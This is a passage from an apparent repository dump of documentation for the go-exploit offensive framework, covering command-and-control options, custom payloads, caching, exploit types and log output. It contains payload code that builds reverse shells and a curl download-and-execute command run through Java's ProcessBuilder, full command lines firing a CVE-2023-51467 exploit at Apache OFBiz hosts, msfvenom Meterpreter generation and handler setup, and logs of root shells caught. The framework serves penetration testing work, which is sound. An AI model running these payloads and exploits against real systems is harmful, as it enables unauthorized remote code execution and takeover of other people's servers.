c2.SimpleShellServer:\n\t\toutput.PrintfStatus(\"Sending a reverse shell payload for port %s:%d\", conf.Lhost, conf.Lport)\n\t\tgenerated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, false)\n\tcase c2.HTTPServeFile:\n\t\toutput.PrintfStatus(\"Sending a curl payload for port %s:%d\", conf.Lhost, conf.Lport)\n\t\tcurlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,\n\t\t\thttpservefile.GetInstance().TLS,\n\t\t\thttpservefile.GetInstance().GetRandomName(\"\"))\n\t\tgenerated = fmt.Sprintf(`new java.lang.ProcessBuilder(\"/bin/sh\", \"-c\", \"%s\").start()`, curlCommand)\n\tdefault:\n\t\toutput.PrintError(\"Invalid payload\")\n\n\t\treturn generated, false\n\t}\n\n\tgenerated = b64.StdEncoding.EncodeToString([]byte(generated))\n\n\treturn generated, true\n}\n```\n\n## Using -o\n\nUsing the `-o` option means that you don't want `go-exploit` to spin up a reverse shell listener (or any other C2) and that connect backs will be handled by a differet (or \"outside\") program. For example, say I wanted to use `nc` to catch shells instead of my `go-exploit`. The go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) would do that like this:\n\n```\nalbinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -o -lhost 10.9.49.78 -lport 1270\ntime=2024-03-05T04:57:12.546-05:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.88 port=8443 ssl=false \"ssl auto\"=true\ntime=2024-03-05T04:57:12.633-05:00 level=STATUS msg=\"Sending a reverse shell payload for port 10.9.49.78:1270\"\ntime=2024-03-05T04:57:12.633-05:00 level=STATUS msg=\"Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/\"\ntime=2024-03-05T04:57:22.644-05:00 level=SUCCESS msg=\"Exploit successfully completed\" exploited=true\n```\n\nThe `nc` program listening on `10.9.49.78:1270` would receive the shell.\n\n```\nalbinolobster@mournland:~$ nc -lvnp 1270\nListening on 0.0.0.0 1270\nConnection received on 10.9.49.88 32866\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n## Using HTTPServeFile\n\nThe idea behind *HTTPServeFile* is to let the `go-exploit` serve up advanced second stages. For example, say we want to drop Meterpreter on a remote host but there is no Metasploit module for the particular issue? `go-exploit` solves this issue.\n\nAgain, let's revisit the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) which has an *HTTPServeFile* implementation. First, we need to generate a Meterpreter payload:\n\n```sh\nalbinolobster@mournland:~/metasploit-framework$ ./msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.1.91 lport=1270 -f elf -o /tmp/meterpreter\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x64 from the payload\nNo encoder specified, outputting raw payload\nPayload size: 1068672 bytes\nFinal size of elf file: 1068672 bytes\nSaved as: /tmp/meterpreter\n```\n\nThen we start a Meterpreter listener:\n\n```sh\nmsf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler\n[*] Using configured payload generic/shell_reverse_tcp\nmsf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp\nPAYLOAD => linux/x64/meterpreter_reverse_tcp\nmsf6 exploit(multi/handler) > set LHOST 192.168.1.91\nLHOST => 192.168.1.91\nmsf6 exploit(multi/handler) > set LPORT 1270\nLPORT => 1270\nmsf6 exploit(multi/handler) > run\n```\n\nWe can then throw the exploit that will trigger a download of the file from `go-exploit`. The CVE-2023-51467 achieves that with the following payload:\n\n```sh\ncase c2.HTTPServeFile:\n    output.PrintfStatus(\"Sending a curl payload for port %s:%d\", conf.Lhost, conf.Lport)\n    curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,\n        httpservefile.GetInstance().TLS,\n        httpservefile.GetInstance().GetRandomName(\"\"))\n    generated = fmt.Sprintf(`new java.lang.ProcessBuilder(\"/bin/sh\", \"-c\", \"%s\").start()`, curlCommand)\n```\n\nNote that we are using the builtin `go-exploit` function `payload.LinuxCurlHTTPDownloadAndExecute` configured with the user provided `TLS` setting and a random filename.\n\nFrom the command line this is invoked like so:\n\n```sh\nalbinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 192.168.1.179 -rport 8443 -c2 HTTPServeFile -lhost 192.168.1.91 -lport 8181 -httpServeFile.FilesToServe /tmp/meterpreter \ntime=2024-03-05T05:51:53.307-05:00 level=STATUS msg=\"Loading the provided file: /tmp/meterpreter\"\ntime=2024-03-05T05:51:53.310-05:00 level=STATUS msg=\"Starting target\" index=0 host=192.168.1.179 port=8443 ssl=false \"ssl auto\"=true\ntime=2024-03-05T05:51:53.310-05:00 level=STATUS msg=\"Starting an HTTP server on 192.168.1.91:8181\"\ntime=2024-03-05T05:51:53.454-05:00 level=STATUS msg=\"Sending a curl payload for port 192.168.1.91:8181\"\ntime=2024-03-05T05:51:53.454-05:00 level=STATUS msg=\"Throwing exploit at https://192.168.1.179:8443/webtools/control/ProgramExport/\"\ntime=2024-03-05T05:51:53.928-05:00 level=STATUS msg=\"Connection from 192.168.1.179:58296 requested /JCibGhgPjkfg\"\ntime=2024-03-05T05:51:54.050-05:00 level=SUCCESS msg=\"Exploit successfully completed\" exploited=true\ntime=2024-03-05T05:52:23.329-05:00 level=STATUS msg=\"Shutting down the HTTP Server\"\ntime=2024-03-05T05:52:23.329-05:00 level=STATUS msg=\"C2 server exited\"\n```\n\nNote the log that states, *Connection from 192.168.1.179:58296 requested /JCibGhgPjkfg*. This is the indication that the target downloaded the Meterpreter payload. We can then check Metasploit and find:\n\n```\nmsf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler\n[*] Using configured payload generic/shell_reverse_tcp\nmsf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp\nPAYLOAD => linux/x64/meterpreter_reverse_tcp\nmsf6 exploit(multi/handler) > set LHOST 192.168.1.91\nLHOST => 192.168.1.91\nmsf6 exploit(multi/handler) > set LPORT 1270\nLPORT => 1270\nmsf6 exploit(multi/handler) > run\n\n[*] Started reverse TCP handler on 192.168.1.91:1270 \n[*] Meterpreter session 1 opened (192.168.1.91:1270 -> 192.168.1.179:53880) at 2024-03-05 05:48:21 -0500\n\nmeterpreter > shell\nProcess 136 created.\nChannel 1 created.\nid\nuid=0(root) gid=0(root) groups=0(root)\npwd\n/usr/src/apache-ofbiz\n```"
  },
  {
    "path": "docs/custom-payloads.md",
    "content": "# Custom Payloads in go-exploit\n\nCustom payloads (or Bring-Your-Own-Payload (BYOP)) are supported from the go-exploit command line interface and exploit developers should aim to attempt to support the usecase whenever possible as it adds a lot of flexibility for users.\n\nWhen an exploit adds support for a payload using `config.AddPayload` depending on the supported payloads, the file based (ELF, SO, .exe, .dll, webshell) types will add a `-payload` option that will automatically read a file from disk and add it to `config.CustomPayload` if the user uses the flag.\n\nIf the user uses one of the new `payload.*Command` types then `-command` flag will be available and `config.CustomPayload` will contain the value provided by that flag (or it can be accessed directly from the normal flag handling for the string type).\n\nDetails for this can be seen in the package documentation: \n\n- Payload API documentation: https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/payload\n- `config.AddPayload` API documentation: https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/config#Config.AddPayload\n\nAn example of how to define the code for this, the following adds support for a generic command and 2 payload types of different architectures:\n\n```go\nsupportedPayload := []payload.Supported{\n\t{\n\t\tType:    payload.GenericCommand,\n\t\tArch:    payload.None,\n\t\tEffects: payload.NoEffects,\n\t\tDefault: true,\n\t},\n\t{\n\t\tType:    payload.LinuxELF,\n\t\tArch:    payload.AMD64,\n\t\tEffects: payload.NoEffects,\n\t},\n\t{\n\t\tType:  payload.LinuxELF,\n\t\tArch:  payload.ARM64,\n\t\tEffects: payload.Effects{\n\t\t\tpayload.FileCreate: []string{\"/var/www/html/pwnt\", \"/var/www/html/pwnt2\"},\n\t\t},\n\t},\n}\nconf := config.NewRemoteExploit(\n\tconfig.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true},\n\tconfig.CodeExecution, supportedC2,\n\t\"\", []string{\"\"},\n\t[]string{\"\"}, \"CVE-2023-28324\", \"HTTP\", 80)\nconf.AddPayload(supportedPayload...)\n```\n\nNow when the exploit is run the following options can be seen:\n\n```\n...\n  -command string\n    \tCommand to use for the exploit, an empty string will use the exploit default.\n...\n  -payload string\n    \tPath to load custom payload from, an empty string will use the exploit default.\n  -payload-arch string\n    \tPayload architecture to use based on supported archs: none, amd64, arm64 (default \"none\")\n  -payload-type string\n    \tPayload type to use based on supported types: GenericCommand, LinuxELF, LinuxELF (default \"GenericCommand\")\n...\n```\n\nIf a payload is defined with only one architecture -payload-arch will not show up and if only one payload type is defined -payload-type will also disappear. For example:\n\n```go\nsupportedPayload := []payload.Supported{\n\t{\n\t\tType:    payload.GenericCommand,\n\t\tArch:    payload.None,\n\t\tEffects: payload.NoEffects,\n\t\tDefault: true,\n\t},\n}\nconf := config.NewRemoteExploit(\n\tconfig.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true},\n\tconfig.CodeExecution, supportedC2,\n\t\"\", []string{\"\"},\n\t[]string{\"\"}, \"CVE-2023-28324\", \"HTTP\", 80)\nconf.AddPayload(supportedPayload...)\n```\n\nwill yield the following flags with none of the others:\n\n```\n...\n  -command string\n    \tCommand to use for the exploit, an empty string will use the exploit default.\n...\n\n```\n\nNow the implementer will need to add support to their payload generation in order to handle the cases of custom payload use:\n\n```go\nif conf.HasCustomPayload() {\n\tif conf.SelectedPayload.Type.IsCommand() {\n\t\toutput.PrintfStatus(\"using '%s' in place of default\", string(conf.CustomPayload))\n\t} else {\n\t\toutput.PrintfStatus(\"using binary len %d in place of default\", len(string(conf.CustomPayload)))\n\t}\n}\n```\n\nOr if there is a complex case where more specificity is required:\n\n```go\nswitch conf.SelectedPayload.Type {\ncase payload.GenericCommand:\n\toutput.PrintfStatus(\"adding GenericCommand\")\n\tif conf.HasCustomPayload() {\n        // Handle payload, ie any encoding or exploit specific bad chars\n\t\toutput.PrintfStatus(\"using '%s' in place of default\", string(conf.CustomPayload))\n\t}\n// Handle the normal default case\ncase payload.LinuxELF:\n\toutput.PrintfStatus(\"adding LinuxELF\")\n\tif conf.HasCustomPayload() {\n        // Handle payload, ie any encoding or exploit specific bad chars\n\t\toutput.PrintfStatus(\"using binary len %d in place of default\", len(string(conf.CustomPayload)))\n\t}\n    // Handle the normal default case\n}\n```\n\n## Payload and Exploit Effects\n\nYou can now define payload effects. The above example adds a list of payload effects if the default payload is used. An example of how this is now available in the details listing from the above set of examples to allow for programmatically extracting support from details lists:\n\n```console\npoptart:~/src/work/payload-test $ go run byop/byop.go -details\ntime=2025-10-10T10:38:43.694-06:00 level=SUCCESS msg=\"Implementation Details\" ExploitType=CodeExecution AssetDetection=true VersionScanner=false Exploitation=true SupportedC2=[SimpleShellServer] SupportedPayloads=\"[GenericCommand (none): Effects -  LinuxELF (amd64): Effects -  LinuxELF (arm64): Effects - (FileCreate: /var/www/html/pwnt, /var/www/html/pwnt2)]\" Vendor=\"\" Products=[] CPE=[] CVE=CVE-2023-28324 Protocol=HTTP DefaultPort=80 CustomFlags=\"[{Name:command Type:string Default:} {Name:payload Type:string Default:} {Name:payload-type Type:string Default:GenericCommand} {Name:payload-arch Type:string Default:none}]\"\n```\n\n## Reference\n\n* Initial Change details: https://github.com/vulncheck-oss/go-exploit/pull/459\n"
  },
  {
    "path": "docs/db.md",
    "content": "# Database Usage\n\ngo-exploit supports the use of an SQLite3 database in order to facilite cross-exploit communication and HTTP caching. This is optional, but can greatly improve the performance of large scale scanning. \n\nTo use this feature, use the `-db` command line option. The provided file can be empty or a database created during previous runs of go-exploit. In the example below, we use the option `-db vc.db` to use the non-existent file `vc.db`:\n\n```console\nalbinolobster@mournland:~/initial-access/feed/cve-2024-31982$ ls vc.db\nls: cannot access 'vc.db': No such file or directory\nalbinolobster@mournland:~/initial-access/feed/cve-2024-31982$ ./build/cve-2024-31982_linux-arm64 -v -c -rhost 10.9.49.29 -rport 8080 -db vc.db -fll TRACE\ntime=2024-06-26T15:54:18.902-04:00 level=DEBUG msg=\"Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\"\ntime=2024-06-26T15:54:18.911-04:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.29 port=8080 ssl=false \"ssl auto\"=false\ntime=2024-06-26T15:54:18.911-04:00 level=STATUS msg=\"Validating XWiki target\" host=10.9.49.29 port=8080\ntime=2024-06-26T15:54:19.068-04:00 level=SUCCESS msg=\"Target verification succeeded!\" host=10.9.49.29 port=8080 verified=true\ntime=2024-06-26T15:54:19.068-04:00 level=STATUS msg=\"Running a version check on the remote target\" host=10.9.49.29 port=8080\ntime=2024-06-26T15:54:19.068-04:00 level=TRACE msg=\"HTTP cache hit: http://10.9.49.29:8080/\"\ntime=2024-06-26T15:54:19.069-04:00 level=VERSION msg=\"The reported version is 14.10.7\" host=10.9.49.29 port=8080 version=14.10.7\ntime=2024-06-26T15:54:19.070-04:00 level=SUCCESS msg=\"The target appears to be a vulnerable version!\" host=10.9.49.29 port=8080 vulnerable=yes\nalbinolobster@mournland:~/initial-access/feed/cve-2024-31982$ ls vc.db \nvc.db\n```\n\nIn the TRACE output we can see that there is an HTTP cache hit during version scanning, this is because the first request in target verfication was cached. If we run the exploit again we will see more TRACE output:\n\n```console\nalbinolobster@mournland:~/initial-access/feed/cve-2024-31982$ ./build/cve-2024-31982_linux-arm64 -v -c -rhost 10.9.49.29 -rport 8080 -db vc.db -fll TRACE\ntime=2024-06-26T15:55:57.566-04:00 level=DEBUG msg=\"Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\"\ntime=2024-06-26T15:55:57.570-04:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.29 port=8080 ssl=false \"ssl auto\"=false\ntime=2024-06-26T15:55:57.570-04:00 level=STATUS msg=\"Validating XWiki target\" host=10.9.49.29 port=8080\ntime=2024-06-26T15:55:57.570-04:00 level=TRACE msg=\"Verified software cache hit\" result=true\ntime=2024-06-26T15:55:57.570-04:00 level=SUCCESS msg=\"Target verification succeeded!\" host=10.9.49.29 port=8080 verified=true\ntime=2024-06-26T15:55:57.570-04:00 level=STATUS msg=\"Running a version check on the remote target\" host=10.9.49.29 port=8080\ntime=2024-06-26T15:55:57.570-04:00 level=TRACE msg=\"HTTP cache hit: http://10.9.49.29:8080/\"\ntime=2024-06-26T15:55:57.570-04:00 level=VERSION msg=\"The reported version is 14.10.7\" host=10.9.49.29 port=8080 version=14.10.7\n```\n\nNote the first TRACE this time is for `Verified software cache hit`. That is because the result of the previous run was saved in the database, so this exploit knows that 10.9.49.29:8080 is XWiki.\n\n```console\nalbinolobster@mournland:~/initial-access/feed/cve-2024-31982$ sqlite3 vc.db \nSQLite version 3.31.1 2020-01-27 19:55:54\nEnter \".help\" for usage hints.\nsqlite> select * from verified;\n1|1719431659|XWiki|1|14.10.7|10.9.49.29|8080\nsqlite> \n```\n\nIn fact, on this second run, no network traffic was generated. This has a variety of useful applications including improved speed, asset database generation, easy to create test databases, and \"scanless\" scans.\n\nIn order to utilize the DB, implementing exploits must use the HTTPGetCache API call."
  },
  {
    "path": "docs/development.md",
    "content": "# Developing `go-exploit`\n\nThe goal of `go-exploit` is to facilitate faster, more portable, and feature-rich exploit development. It is important to note that `go-exploit` is not a repository of exploits itself. The infosec community benefits from having a wide range of exploits for a single CVE, rather than relying solely on a single \"approved\" exploit within a massive framework.\n\nTherefore, contributions to this repository should focus on making exploit development easier or improving the overall quality of developed exploits. This can be achieved through various means, such as:\n\n* Adding more command and control (C2) options\n* Supporting additional protocols\n* Including more payloads\n* Implementing obfuscation techniques\n* And more.\n\nIf you have ideas that align with these goals, we welcome your pull requests. Development within `go-exploit` is relatively straightforward. The only slightly different aspect is that `go-exploit` is composed of multiple subpackages. This design choice aims to prevent unwanted or unused features from being included in individual exploits. For example, an exploit that utilizes the JNDI LDAP functionality must explicitly import `github.com/vulncheck-oss/java/ldapjndi`. This strict gating helps minimize dependencies and reduce the amount of imported code.\n\n## Linting\n\nIt is important that the project passes linting without any warnings or errors. You can use our built-in `.golangci.yml` file by running the following command:\n\n```sh\ngolangci-lint run --fix\n```\n\n## Testing\n\nGo has a robust built-in unit testing framework. We strongly encourage the development of new tests for issue reproduction and to provide coverage for new features. You can execute all tests by running the following command:\n\n```sh\ngo test ./...\n```\n\n"
  },
  {
    "path": "docs/exploit-types.md",
    "content": "# `go-exploit` Exploit Types\n\nThe `go-exploit` framework currently supports five exploit types. These types determine how the command-line interface accepts arguments and define the post-exploitation behavior. The fives exploit types are defined in `config/config.go`:\n\n1. CodeExecution\n2. InformationDisclosure\n3. Webshell\n4. File Format\n5. Local\n\nTo configure the exploit type in the exploit's `main` function, you can use the `config.New` function for remote exploits as follows:\n\n```go\nconf := config.New(config.CodeExecution, supportedC2, \"My Target\", \"CVE-2023-1270\", 80)\n```\n\nLocal exploits (including File Format) omits the default port:\n\n```go\nconf := config.NewLocal(config.FileFormat, supportedC2, \"My Target\", \"CVE-2023-1270\")\n```\n\n## Examples\n\n### Code Execution\n\nThe Code Execution exploit type assumes that the attacker is attempting to exploit a remote target. Depending on the configured command and control (C2) method, the attacker may need to provide local host information or a bind port. Here is an example of invoking verification, version check, and exploitation for a reverse shell using the Code Execution exploit type:\n\n```sh\n./exploit -a -v -c -e -rhost 10.12.70.247 -rport 80 -lhost 10.12.70.252 -lport 1270\n```\n\n### Information Disclosure\n\nThe Information Disclosure exploit type assumes that there is some type of information leak that does not immediately result in code execution. No command and control (C2) is configured for this exploit type. In the `main` function, it would look like this:\n\n```go\nconf := config.New(config.InformationDisclosure, []c2.Impl{}, \"Minio API\", \"CVE-2023-28432\", 9000)\n```\n\nDepending on the specific exploit, you may need to provide a local host and port using the `-lhost` and `-lport` arguments. Here is an example of invoking verification, version check, and exploitation using the Information Disclosure exploit type:\n\n```sh\n./exploit -v -c -e -s -rhost 10.12.70.247 -rport 443\n```\n\n### Webshell\n\nThe WebShell exploit type assumes that the exploit will drop a webshell on the remote host. No command and control (C2) is configured for this exploit type. In the `main` function, it would look like this:\n\n```go\nconf := config.New(config.Webshell, []c2.Impl{}, \"ThinkPHP\", \"CVE-2022-47945\", 8080)\n```\n\nHere is an example of invoking verification, version check, and exploitation using the WebShell exploit type:\n\n```sh\n./exploit -v -c -e -s -rhost 10.12.70.247 -rport 443\n```\n\n"
  },
  {
    "path": "docs/getting-started.md",
    "content": "# Getting Started with go-exploit\n\nThis guide will help you get started with `go-exploit`, a Go package that assists developers in defining the following four stages of exploitation:\n\n1. Target validation\n2. [Version checking](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/version-checking.md)\n3. Exploitation\n4. [Command and control](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md)\n\n## Exploit Skeleton\n\nAn exploit is structured as follows:\n\n```go\npackage main\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit\"\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n)\n\ntype MyExploit struct{}\n\nfunc (sploit MyExploit) ValidateTarget(conf *config.Config) bool {\n\treturn false\n}\n\nfunc (sploit MyExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {\n\treturn exploit.NotImplemented\n}\n\nfunc (sploit MyExploit) RunExploit(conf *config.Config) bool {\n\treturn true\n}\n\nfunc main() {\n\tsupportedC2 := []c2.Impl{\n\t\tc2.SimpleShellServer,\n\t\tc2.SimpleShellClient,\n\t}\n\tconf := config.NewRemoteExploit(\n\t\tconfig.ImplementedFeatures{AssetDetection: false, VersionScanning: false, Exploitation: false},\n\t\tconfig.CodeExecution, supportedC2, \"Vendor\", []string{\"Product\"},\n\t\t[]string{\"cpe:2.3:a:vendor:product\"}, \"CVE-2024-1270\", \"HTTP\", 8080)\n\t\n\tsploit := MyExploit{}\n\texploit.RunProgram(sploit, conf)\n}\n```\n\nThe above code demonstrates the four stages of exploitation that `go-exploit` cares about:\n\n1. `ValidateTarget()` is called to verify if the target is correct.\n2. `CheckVersion()` is called to perform a version check on the target.\n3. `RunExploit` is called to exploit the target.\n4. `main` sets up the possible command and control (C2) methods (e.g., `c2.SimpleShellServer`), defines the type of exploit (`config.CodeExecution`), and passes execution to `go-exploit` using `exploit.RunProgram`.\n\n## Makefile\n\nTo compile the skeleton, you can use a `Makefile`. Here's a simple one:\n\n```\nall: format compile\n\nformat:\n\tgo fmt\n\ncompile:\n\tgo build\n\nclean:\n\tgo clean\n```\n\n## Compiling\n\nTo compile the skeleton, follow these steps:\n\n1. Initialize the exploit's `go.mod`, download/validate the most recent `go-exploit`, and create `go.sum`.\n\n```sh\ngo mod init github.com/username/example;\nGO111MODULE=on go mod tidy;\nmake;\n```\n\n## Conclusion\n\nThis guide should provide you with enough information to get started with `go-exploit`. For more details on exploit types, [command and control (C2)](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md), and [version checking](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/version-checking.md)), please refer to the [additional documentation](https://github.com/vulncheck-oss/go-exploit/tree/main/docs).\n\n"
  },
  {
    "path": "docs/output.md",
    "content": "# Output\n\n`go-exploit` supports somewhat unusual output for an exploit framework. However, our belief is that `go-exploit` is more powerful when combined with other automation. As such, it's important that `go-exploit` output data in a form that other machines can easily read. To support that, `go-exploit` supports structured output and log levels. `go-exploit` supports two types of structured output: key-value pairs and JSON.\n\n## Key-Value Output\n\n`go-exploit` defaults to key-value output. It looks like the following:\n\n```sh\nalbinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -e -rhost 10.9.49.88 -rport 8443 -lhost 10.9.49.75 -lport 1271\ntime=2024-03-05T09:37:18.216-05:00 level=STATUS msg=\"Certificate not provided. Generating a TLS Certificate\"\ntime=2024-03-05T09:37:18.507-05:00 level=STATUS msg=\"Starting TLS listener on 10.9.49.75:1271\"\ntime=2024-03-05T09:37:18.507-05:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.88 port=8443 ssl=false \"ssl auto\"=true\ntime=2024-03-05T09:37:18.614-05:00 level=STATUS msg=\"Running a version check on the remote target\" host=10.9.49.88 port=8443\ntime=2024-03-05T09:37:18.928-05:00 level=VERSION msg=\"The self-reported version is: 18.12\" host=10.9.49.88 port=8443 version=18.12\ntime=2024-03-05T09:37:18.928-05:00 level=SUCCESS msg=\"The target *might* be a vulnerable version. Continuing.\" host=10.9.49.88 port=8443 vulnerable=possibly\ntime=2024-03-05T09:37:18.928-05:00 level=STATUS msg=\"Sending an SSL reverse shell payload for port 10.9.49.75:1271\"\ntime=2024-03-05T09:37:18.928-05:00 level=STATUS msg=\"Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/\"\ntime=2024-03-05T09:37:19.485-05:00 level=SUCCESS msg=\"Caught new shell from 10.9.49.88:38888\"\ntime=2024-03-05T09:37:19.486-05:00 level=STATUS msg=\"Active shell from 10.9.49.88:38888\"\nid\nuid=0(root) gid=0(root) groups=0(root\n```\n\nNote that when the user drops down into a shell, structured output is not supported.\n\n## JSON Output\n\nJSON output may sometimes be preferable. The user only need provide `-log-json` to switch the format:\n\n```sh\nalbinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -e -rhost 10.9.49.88 -rport 8443 -lhost 10.9.49.75 -lport 1271 -log-json\n{\"time\":\"2024-03-05T09:38:56.495757869-05:00\",\"level\":\"STATUS\",\"msg\":\"Certificate not provided. Generating a TLS Certificate\"}\n{\"time\":\"2024-03-05T09:38:56.576600457-05:00\",\"level\":\"STATUS\",\"msg\":\"Starting TLS listener on 10.9.49.75:1271\"}\n{\"time\":\"2024-03-05T09:38:56.576923665-05:00\",\"level\":\"STATUS\",\"msg\":\"Starting target\",\"index\":0,\"host\":\"10.9.49.88\",\"port\":8443,\"ssl\":false,\"ssl auto\":true}\n{\"time\":\"2024-03-05T09:38:56.856895303-05:00\",\"level\":\"STATUS\",\"msg\":\"Running a version check on the remote target\",\"host\":\"10.9.49.88\",\"port\":8443}\n{\"time\":\"2024-03-05T09:38:57.63968813-05:00\",\"level\":\"VERSION\",\"msg\":\"The self-reported version is: 18.12\",\"host\":\"10.9.49.88\",\"port\":8443,\"version\":\"18.12\"}\n{\"time\":\"2024-03-05T09:38:57.63978138-05:00\",\"level\":\"SUCCESS\",\"msg\":\"The target *might* be a vulnerable version. Continuing.\",\"host\":\"10.9.49.88\",\"port\":8443,\"vulnerable\":\"possibly\"}\n{\"time\":\"2024-03-05T09:38:57.640026421-05:00\",\"level\":\"STATUS\",\"msg\":\"Sending an SSL reverse shell payload for port 10.9.49.75:1271\"}\n{\"time\":\"2024-03-05T09:38:57.640299255-05:00\",\"level\":\"STATUS\",\"msg\":\"Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/\"}\n{\"time\":\"2024-03-05T09:38:58.189670445-05:00\",\"level\":\"SUCCESS\",\"msg\":\"Caught new shell from 10.9.49.88:51544\"}\n{\"time\":\"2024-03-05T09:38:58.189787528-05:00\",\"level\":\"STATUS\",\"msg\":\"Active shell from 10.9.49.88:51544\"}\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n## File Output\n\nOutput can also be sent to a file. Again, this is a simple flag: `-log-file <filename>`. An important feature to note is that `-log-file` appends to files and does not overwrite:\n\n```sh\nalbinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -e -rhost 10.9.49.88 -rport 8443 -lhost 10.9.49.75 -lport 1271 -log-json -log-file /tmp/test\nid\nuid=0(root) gid=0(root) groups=0(root)\n^C\nalbinolobster@mournland:~/cve-2023-51467$ tail /tmp/test \n{\"time\":\"2024-03-05T09:40:28.027454732-05:00\",\"level\":\"STATUS\",\"msg\":\"Starting TLS listener on 10.9.49.75:1271\"}\n{\"time\":\"2024-03-05T09:40:28.027820606-05:00\",\"level\":\"STATUS\",\"msg\":\"Starting target\",\"index\":0,\"host\":\"10.9.49.88\",\"port\":8443,\"ssl\":false,\"ssl auto\":true}\n{\"time\":\"2024-03-05T09:40:28.156731155-05:00\",\"level\":\"STATUS\",\"msg\":\"Running a version check on the remote target\",\"host\":\"10.9.49.88\",\"port\":8443}\n{\"time\":\"2024-03-05T09:40:28.454126158-05:00\",\"level\":\"VERSION\",\"msg\":\"The self-reported version is: 18.12\",\"host\":\"10.9.49.88\",\"port\":8443,\"version\":\"18.12\"}\n{\"time\":\"2024-03-05T09:40:28.454184074-05:00\",\"level\":\"SUCCESS\",\"msg\":\"The target *might* be a vulnerable version. Continuing.\",\"host\":\"10.9.49.88\",\"port\":8443,\"vulnerable\":\"possibly\"}\n{\"time\":\"2024-03-05T09:40:28.454247324-05:00\",\"level\":\"STATUS\",\"msg\":\"Sending an SSL reverse shell payload for port 10.9.49.75:1271\"}\n{\"time\":\"2024-03-05T09:40:28.454333616-05:00\",\"level\":\"STATUS\",\"msg\":\"Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/\"}\n{\"time\":\"2024-03-05T09:40:28.946425607-05:00\",\"level\":\"SUCCESS\",\"msg\":\"Caught new shell from 10.9.49.88:44990\"}\n{\"time\":\"2024-03-05T09:40:28.946604441-05:00\",\"level\":\"STATUS\",\"msg\":\"Active shell from 10.9.49.88:44990\"}\n{\"time\":\"2024-03-05T09:40:38.45622329-05:00\",\"level\":\"SUCCESS\",\"msg\":\"Exploit successfully completed\",\"exploited\":true}\n```\n\n## Log Levels\n\n`go-exploit` supports log levels (as you can see in the output above). Perhaps somewhat oddly, the framework supports two log levels. One is for logs messages written by the framework (`-fll`) and the other is for logs written for logs written by the implementing exploit (`-ell`). The following example restricts the framework to `VERSION` messages and higher:\n\n```\nalbinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -rhost 10.9.49.88 -rport 8443 -fll VERSION\ntime=2024-03-05T09:44:41.436-05:00 level=VERSION msg=\"The self-reported version is: 18.12\" host=10.9.49.88 port=8443 version=18.12\ntime=2024-03-05T09:44:41.436-05:00 level=SUCCESS msg=\"The target *might* be a vulnerable version. Continuing.\" host=10.9.49.88 port=8443 vulnerable=possibly\n```\n\nThe following restricts the framework to `SUCCESS` messages and higher, and the exploit to `SUCCESS` or higher:\n\n```sh\nalbinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -e -rhost 10.9.49.88 -rport 8443 -lhost 10.9.49.75 -lport 1271 -ell SUCCESS -fll SUCCESS\ntime=2024-03-05T09:45:45.969-05:00 level=SUCCESS msg=\"The target *might* be a vulnerable version. Continuing.\" host=10.9.49.88 port=8443 vulnerable=possibly\ntime=2024-03-05T09:45:46.365-05:00 level=SUCCESS msg=\"Caught new shell from 10.9.49.88:41130\"\nid\nuid=0(root) gid=0(root) groups=0(roo\n```\n"
  },
  {
    "path": "docs/scanning.md",
